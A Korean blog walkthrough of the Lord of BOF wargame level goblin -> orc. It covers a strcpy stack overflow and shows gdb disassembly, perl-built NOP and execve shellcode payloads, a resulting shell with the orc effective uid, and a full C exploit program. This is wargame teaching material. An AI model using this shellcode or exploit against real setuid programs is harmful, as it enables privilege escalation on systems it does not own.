Phantom

[Goblin] goblin -> orc 풀이 본문

Pwnable/[Wargame]Load of Bof

[Goblin] goblin -> orc 풀이

Ph4nt0m_ 2014. 7. 17. 22:46
반응형

 

문제 소스보기

Orc.c

Colored By Color Scripter

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

    char buffer[40];

    int i;

   

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

   

    // egghunter 

    for(i=0; environ[i]; i++)

        memset(environ[i], 0, strlen(environ[i]));

   

    if(argv[1][47] != '\xbf')

    {

        printf("stack is still your friend.\n");

        exit(0);

    }

   

    strcpy(buffer, argv[1]); 

    printf("%s\n", buffer);

}

이번 단계에서는 에그헌터가 생겨서 더 이상 에그쉘을 사용할 수 없다.

그리고 argv[1][47]에"\xbf가 들어가야한다.

그리 어렵진 않아 보인다.

 

 

Gdb로 orc를 분석해보자

[goblin@localhost goblin]$ gdb -q 0rc

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:    push %ebp

0x8048501 <main+1>:    mov %ebp,%esp

0x8048503 <main+3>:    sub %esp,44 //함수 프롤로그 과정 44(buffer + i)                                                의 크기를 확보하며 역시 더미가 없다.

-----------------------------------------------------------------

0x8048506 <main+6>:    cmp DWORD PTR [%ebp+8],1 

//argc와 1을 비교해서 argc가 1보다 크면 main+35로 점프하고 작으면                                                              main+12줄부터 실행한다.

 

0x804850a <main+10>:    jg 0x8048523 <main+35>

0x804850c <main+12>:    push 0x8048630

0x8048511 <main+17>:    call 0x8048410 <printf>

0x8048516 <main+22>:    add %esp,4

0x8048519 <main+25>:    push 0

0x804851b <main+27>:    call 0x8048420 <exit>

0x8048520 <main+32>:    add %esp,4

-----------------------------------------------------------------

0x8048523 <main+35>:    nop

----------------------------중 략--------------------------------

0x80485b9 <main+185>:lea %eax,[%ebp-40] //ebp-40의 주소값을 eax에                                                                 저장

0x80485bc <main+188>:    push %eax

0x80485bd <main+189>:    call 0x8048440 <strcpy>//strcpy 실행

0x80485c2 <main+194>:    add %esp,8

0x80485c5 <main+197>:    lea %eax,[%ebp-40]

0x80485c8 <main+200>:    push %eax

0x80485c9 <main+201>:    push 0x8048659

0x80485ce <main+206>:    call 0x8048410 <printf>

0x80485d3 <main+211>:    add %esp,8

0x80485d6 <main+214>:    leave //함수 에필로그

0x80485d7 <main+215>:    ret

End of assembler dump.

 

 

쉘 획득 과정 페이로드

이번 단계는 에그쉘을 사용할 수 없고 argv[1][47]에 \xbf를 맞춰야 한다.

필자는 25Byte 쉘코드를 사용하여

Argv[1]에 NOP(44) + RET(4) 와 = 48

Argv[2]에 NOP(19) + SHELLCODE(25) 로 buffer를 오버플로우 할 것이다.

쉘코드 주소 구하기

[goblin@localhost goblin]$ ./0rc $(perl -e 'print "\xbf"x44, "\xbf"x4') $(perl -e 'print "\x90"x19 ,"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73

\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

[ 0xbffffc35 ] 

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Segmentation fault

이 중 NOP의 시작주소를 따서 쉘코드의 시작주소는 0xbffffc35이다.

 

 

명령문 작성하기

이제 명령문을 작성해보자.

[goblin@localhost goblin]$ ./orc $(perl -e 'print "\xbf"x44, "\x35\xfc\xff\xbf"') $(perl -e 'print "\x90"x19, "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68

\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜;?

bash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

이로써 orc의 권한을 얻었다.


이제 공격한 것들을 바탕으로 익스플로잇을 작성해보자

#include <stdio.h>

#include <stdlib.h>


#define NOP 0x90

#define NOP1 20

#define BUFSIZE 48


char shellcode[] = "\x31\xc0\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"

   "\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

char retAddr[] = "\xb0\xfa\xff\xbf";



int main()

{

char cmdBuf[BUFSIZE+1]={0};

int i, j, shellLen;

int retLen;


shellLen = strlen(shellcode);

retLen = strlen(retAddr);


for(i=0;i<shellLen;i++)

cmdBuf[i] = shellcode[i];

for(j=0;j<NOP1;j++)

cmdBuf[i++] = NOP;

for(j=0;j<retLen;j++)

cmdBuf[i++] = retAddr[j];

execl("/home/goblin/orc", "orc", cmdBuf, 0);

}


반응형

'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글

[wolfman] wolfman -> darkelf 풀이  (0) 2014.07.27
[Orc] orc -> wolfman 풀이  (0) 2014.07.23
[Goblin] cobolt -> goblin 풀이  (0) 2014.07.15
[Gremlin] gremlin -> cobolt 풀이  (0) 2014.05.28
[Gate] gate -> gremlin 풀이  (0) 2014.05.27
Comments